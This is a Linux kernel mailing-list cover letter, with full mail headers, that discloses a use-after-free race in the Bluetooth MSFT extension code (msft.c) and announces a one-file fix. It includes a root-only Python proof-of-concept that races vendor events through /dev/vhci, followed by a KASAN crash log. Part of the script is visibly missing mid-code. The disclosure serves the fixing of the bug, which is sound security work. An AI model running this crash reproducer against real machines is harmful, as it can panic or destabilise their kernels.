From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from mail-pl1-f172.google.com (mail-pl1-f172.google.com [209.85.214.172]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id B4DEA42A16D for ; Mon, 27 Jul 2026 17:16:13 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=209.85.214.172 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1785172581; cv=none; b=LSZn338Trw4SmxLHVnw9Nd9jlfWYwk50zCK5o5Zr4HxoBqSukPenGzYWRLFYAMK37JqGg7CATpj1a1EXPZTXP2eED5ARKbm1dMcUPZzul+6+FiH9wBsJqtbQaXrilmzqV3lRWg99WSB/QYwuVFM8ir8Gsp0JWsn0vMZw4d2rbqs= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1785172581; c=relaxed/simple; bh=JYxGlpUlmfqREsc3LMXyKmqsRWJddYBSaFzxw1ZBVMA=; h=From:To:Cc:Subject:Date:Message-ID:MIME-Version; b=eGGrM/1V/R0xJ5qZVAcstm83NaE65BfMN1BOi1ZhfOfx2s4vU4YxzwGwDP2BgWdst+GKnTmCJL4rToW3vEDWJT0D0ksjHDDIVGk+ScASqXDVTNZU4hYU1cBS6wJ6dHJ0wQOt1ocmus0h7MBctgd5nhF1NfSD9u5y0B5X/8j0yfM= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com; spf=pass smtp.mailfrom=gmail.com; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b=c1IIQ23W; arc=none smtp.client-ip=209.85.214.172 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=gmail.com Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="c1IIQ23W" Received: by mail-pl1-f172.google.com with SMTP id d9443c01a7336-2ccf2360620so27615915ad.3 for ; Mon, 27 Jul 2026 10:16:12 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20251104; t=1785172570; x=1785777370; darn=vger.kernel.org; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:from:to:cc:subject:date:message-id:reply-to:content-type; bh=/Q6m3OMrEt51ELYI2pSG5NFONYhS5f8n4zAepuReBos=; b=c1IIQ23WbYgcdqge3Efb2Lcy1wbRgTgkGqi4ZO5WjxVwOHrqlCl3o2UYphAUFwnSAR 7JmO7Qy0CYnLGKfEyYsKgh6YFpRTmUjQAXup/Erikaetncl/k6l14b1RvbXLBVrpDo0J sQ9vQPtM/0enaWCm0K1DxiTUcGVBmT9XBV7usd5SUFtiFBH4uphW1EirAeasxjPI+RoK o0sHSH8rlib/1l8hbTfTT+rf2iTwDzlkd4pVR91tCnxfgwm/A9TTOBoVkr1Xn1EALGiN NHspOK3lLHe2QYNp3SU/E2nJFZodyAZMpS1wobyKomxEDQ+XOZ4n81TcdEIPwkCaALG5 mpqg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1785172570; x=1785777370; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date :message-id:reply-to:content-type; bh=/Q6m3OMrEt51ELYI2pSG5NFONYhS5f8n4zAepuReBos=; b=Sq8QzoxRLMRG/SxyflCocRo9B5TqIIWRVALpVlrxWfUlk38JBoSRCBLkJnEhZs8kTr MfCvRQIiFB8teCruQ3zoVpG4x1MlfUWN3g7iTjxP9Y/kfsHs8EZbyUHIJ/6jWmxnNVQa f6Az8Ay6Ypc+BEMfcN6NXPoLvf/9NtAC3Axx7XMysmvTAfGqfdUQKTibtd8eDD5EQJ9g PU2178UbVCukHVMKxzNfZHkS0xyrlrbY0qS7t1pL48ZHnmLJbWK5Ix5l2/V5O5d/QgP9 QolpUaCqlPIJYS7rwpgDg0OFDw68CCgB5B40EbSRbaNu+Zm0FYk4xRheqOuvFCdR44uc Zi/g== X-Gm-Message-State: AOJu0YxGUP1uG0QTQjB2XNVVSI3h9j8XgF6BnFoAvg1GiaRQ1SxQ/BrI 3ijP+bCmGqjuUe3p3FqR94iIK/GgAZsw7rN0xsCIwKQu2fIs+MNktEJSJ0OhCpLnTjs= X-Gm-Gg: AR+sD13YfOCrEhFHbitn9mM0AfFVXmvcAAy3tF79le24dEnDJ8TOnmKuv9bkVCIWcAG FH5oAJD4ODqCe4SBD0ts59KU9ecz57ZVdbsF1tLXq2b8OJaPQiYTXOeR9UDvIiEDKAj3wvUqjxu 1YjqC9dGS+EvSGfL4aat3QDtCumdNm3MUhys/KPdwrzWxabwAl3pBMK6pQqm/DzuLdfH8sJXRs4 ic29S7IXBhcBisg3vLJ+g85cci5x19r9MYF1iF2sVOik1J7DbZGQQiObrjOmBoGkYRmhVhsbGqv zzsEAq6XOuAXst+nDTfmQDDGO6ejWnxpZYhgXzHb5VaXyjpzu8WSkTi56Ux+wlq31/a73XslPCL UCWCQEUeQspo/2TyzJEQ+vNbpOHA+fKLjV6Tyd0FzNfWMfTNIdUedBtSx+UCTf9iaD197/NAHis lhwdzRp07E/rE3HumQ7cYkrWorscLSpc8= X-Received: by 2002:a17:903:22cc:b0:2c9:97a7:f543 with SMTP id d9443c01a7336-2cfde885feamr89895845ad.41.1785172570181; Mon, 27 Jul 2026 10:16:10 -0700 (PDT) Received: from enjou-Legion-Y7000P-2019 ([219.141.235.82]) by smtp.gmail.com with ESMTPSA id d9443c01a7336-2cfde5e333bsm38377075ad.30.2026.07.27.10.16.06 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Mon, 27 Jul 2026 10:16:09 -0700 (PDT) From: Ren Wei To: linux-bluetooth@vger.kernel.org Cc: marcel@holtmann.org, luiz.dentz@gmail.com, mcchou@chromium.org, abhishekpandit@chromium.org, alainm@chromium.org, mmandlik@google.com, vega@nebusec.ai, edragain@163.com, enjou1224z@gmail.com Subject: [PATCH 0/1] Bluetooth: msft: fix vendor event use-after-free during open Date: Tue, 28 Jul 2026 01:16:03 +0800 Message-ID: X-Mailer: git-send-email 2.51.0 Precedence: bulk X-Mailing-List: linux-bluetooth@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit From: Yong Wang Hi Linux kernel maintainers, We found and validated a use-after-free in net/bluetooth/msft.c. The bug is reachable by root on systems exposing /dev/vhci and the Bluetooth debugfs controls. We tested the fix with the original reproducer and verified that it no longer crashes the guest. We also verified that the existing MSFT monitor functionality still works in the same setup. We provide the technical details and the reproducer below. ---- details below ---- Bug details: Commit 5031ffcc79b8 ("Bluetooth: Keep MSFT ext info throughout a hci_dev's life cycle") changed msft_do_open() to reuse the live hdev->msft_data object across power cycles. That makes msft_do_open() free and replace msft->evt_prefix while the MSFT extension is already published through hdev->msft_data. On failure it can also clear hdev->msft_data and free the whole msft object. At the same time, msft_vendor_evt() reads hdev->msft_data and checks msft->evt_prefix_len / msft->evt_prefix before taking hci_dev_lock(). Since HCI vendor events may still be processed while HCI_INIT is set, vendor event handling can race with msft_do_open() and hit a use-after- free on the old prefix buffer or the msft_data object itself. We reproduced the bug with a vhci-based setup that emulates a LE-only controller, enables the MSFT opcode through debugfs, seeds a large event prefix, and then sprays vendor events across the LE Set Event Mask -> msft_do_open() transition while repeatedly power-cycling the device. The crash we observed was a KASAN slab-use-after-free in memcmp() from msft_vendor_evt(), running on hci_rx_work. The reproducer requires python3, /dev/vhci and Bluetooth debugfs. Reproducer: cp poc.sh /root/poc.sh chmod +x /root/poc.sh ATTEMPTS=400 POC_TIMEOUT=180 /root/poc.sh We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. ------BEGIN poc.sh------ #!/bin/sh set -eu if [ "$(id -u)" -ne 0 ]; then echo "run as root" >&2 exit 1 fi exec python3 - "$@" <<'PY' import fcntl import os import select import socket import struct import sys import threading import time HCIDEVUP = 0x400448C9 HCIDEVDOWN = 0x400448CA AF_BLUETOOTH = getattr(socket, "AF_BLUETOOTH", 31) BTPROTO_HCI = getattr(socket, "BTPROTO_HCI", 1) HCI_COMMAND_PKT = 0x01 HCI_EVENT_PKT = 0x04 HCI_VENDOR_PKT = 0xFF HCI_EV_CMD_COMPLETE = 0x0E MSFT_OPCODE = 0xFC1E PREFIX_A = b"A" * 241 PREFIX_B = b"B" * 241 ATTEMPTS = int(os.environ.get("ATTEMPTS", "400")) RACE_THREADS = int(os.environ.get("RACE_THREADS", "2")) TIMEOUT = float(os.environ.get("POC_TIMEOUT", "180")) phase_lock = threading.Lock() phase = "first_init" attempt = 0 current_prefix = b"" next_prefix = PREFIX_A first_done = threading.Event() seed_done = threading.Event() stop_evt = threading.Event() spray_evt = threading.Event() devid = None vhci_fd = None def get_state(): with phase_lock: return phase, attempt, current_prefix, next_prefix def set_phase(new_phase): global phase with phase_lock: phase = new_phase def set_attempt(new_attempt): global attempt with phase_lock: attempt = new_attempt def advance_prefix(): global current_prefix, next_prefix with phase_lock: current_prefix = next_prefix next_prefix = PREFIX_B if next_prefix == PREFIX_A else PREFIX_A return current_prefix def cmd_complete(opcode, params): payload = bytes([1]) + struct.pack("= 4: _, opcode, lo, hi = data[:4] devid = lo | (hi << 8) print(f"hci{devid} created with create-opcode 0x{opcode:02x}", flush=True) continue if pkt_type != HCI_COMMAND_PKT or len(data) < 4: continue opcode = data[1] | (data[2] << 8) handle_command(opcode) stop_evt.set() spray_evt.clear() print("poc exited without crashing the guest", flush=True) return 1 if __name__ == "__main__": sys.exit(main()) PY ------END poc.sh-------- ----BEGIN crash log---- [ 443.891897][ T5148] page_owner tracks the page as allocated [ 443.892364][ T5148] page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 1, tgid 1 (swapper/0), ts 29935415922, free_ts 29929297499 [ 443.894452][ T5148] page last free pid 1 tgid 1 stack trace: [ 443.895834][ T5148] Kernel panic - not syncing: KASAN: panic_on_warn set ... [ 443.896311][ T5148] CPU: 1 UID: 0 PID: 5148 Comm: kworker/u9:1 Not tainted 6.12.74 #3 [ 443.896864][ T5148] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 443.897571][ T5148] Workqueue: hci0 hci_rx_work [ 443.897940][ T5148] Call Trace: [ 443.898179][ T5148] [ 443.898400][ T5148] dump_stack_lvl+0x3b/0x1f0 [ 443.898758][ T5148] panic+0x6fe/0x7e0 [ 443.899068][ T5148] ? __pfx_panic+0x10/0x10 [ 443.899402][ T5148] ? srso_alias_return_thunk+0x5/0xfbef5 [ 443.899843][ T5148] ? rcu_is_watching+0x12/0xc0 [ 443.900223][ T5148] ? srso_alias_return_thunk+0x5/0xfbef5 [ 443.900651][ T5148] ? __pfx_lock_release+0x10/0x10 [ 443.901054][ T5148] ? check_panic_on_warn+0x24/0xb0 [ 443.901434][ T5148] ? memcmp+0x1bd/0x1d0 [ 443.901762][ T5148] check_panic_on_warn+0xb0/0xb0 [ 443.902128][ T5148] end_report+0x11b/0x180 [ 443.902473][ T5148] kasan_report+0xe8/0x110 [ 443.902830][ T5148] ? memcmp+0x1bd/0x1d0 [ 443.903159][ T5148] memcmp+0x1bd/0x1d0 [ 443.903473][ T5148] msft_vendor_evt+0x1e8/0x1a20 [ 443.903854][ T5148] ? srso_alias_return_thunk+0x5/0xfbef5 [ 443.904273][ T5148] ? skb_pull_data+0x16b/0x210 [ 443.904629][ T5148] hci_event_packet+0xa05/0x11a0 [ 443.905007][ T5148] ? __pfx_msft_vendor_evt+0x10/0x10 [ 443.905406][ T5148] ? __pfx_hci_event_packet+0x10/0x10 [ 443.905813][ T5148] ? __entry_text_end+0x1020b5/0x1020b9 [ 443.906230][ T5148] ? mark_held_locks+0x94/0xe0 [ 443.906592][ T5148] ? kcov_remote_start+0x3af/0x6c0 [ 443.907002][ T5148] ? lockdep_hardirqs_on+0x7b/0x110 [ 443.907381][ T5148] ? srso_alias_return_thunk+0x5/0xfbef5 [ 443.907818][ T5148] hci_rx_work+0x878/0x1680 [ 443.908169][ T5148] ? process_one_work+0x8d3/0x1b60 [ 443.908561][ T5148] process_one_work+0x96d/0x1b60 [ 443.908957][ T5148] ? __pfx_hci_rx_work+0x10/0x10 [ 443.909334][ T5148] ? __pfx_process_one_work+0x10/0x10 [ 443.909744][ T5148] ? srso_alias_return_thunk+0x5/0xfbef5 [ 443.910170][ T5148] ? srso_alias_return_thunk+0x5/0xfbef5 [ 443.910585][ T5148] ? assign_work+0x1a1/0x250 [ 443.910949][ T5148] worker_thread+0x647/0xe70 [ 443.911311][ T5148] ? srso_alias_return_thunk+0x5/0xfbef5 [ 443.911739][ T5148] ? __kthread_parkme+0x137/0x210 [ 443.912125][ T5148] ? __pfx_worker_thread+0x10/0x10 [ 443.912509][ T5148] ? __pfx_worker_thread+0x10/0x10 [ 443.912907][ T5148] kthread+0x2b0/0x3a0 [ 443.913209][ T5148] ? _raw_spin_unlock_irq+0x28/0x50 [ 443.913590][ T5148] ? __pfx_kthread+0x10/0x10 [ 443.913988][ T5148] ret_from_fork+0x4a/0x80 [ 443.914319][ T5148] ? __pfx_kthread+0x10/0x10 [ 443.914673][ T5148] ret_from_fork_asm+0x1a/0x30 [ 443.915060][ T5148] [ 443.915418][ T5148] Kernel Offset: disabled [ 443.915741][ T5148] Rebooting in 86400 seconds.. -----END crash log----- Best regards, Yong Wang Yong Wang (1): Bluetooth: msft: fix vendor event use-after-free during open net/bluetooth/msft.c | 70 +++++++++++++++++++++++++++----------------- 1 file changed, 43 insertions(+), 27 deletions(-) -- 2.53.0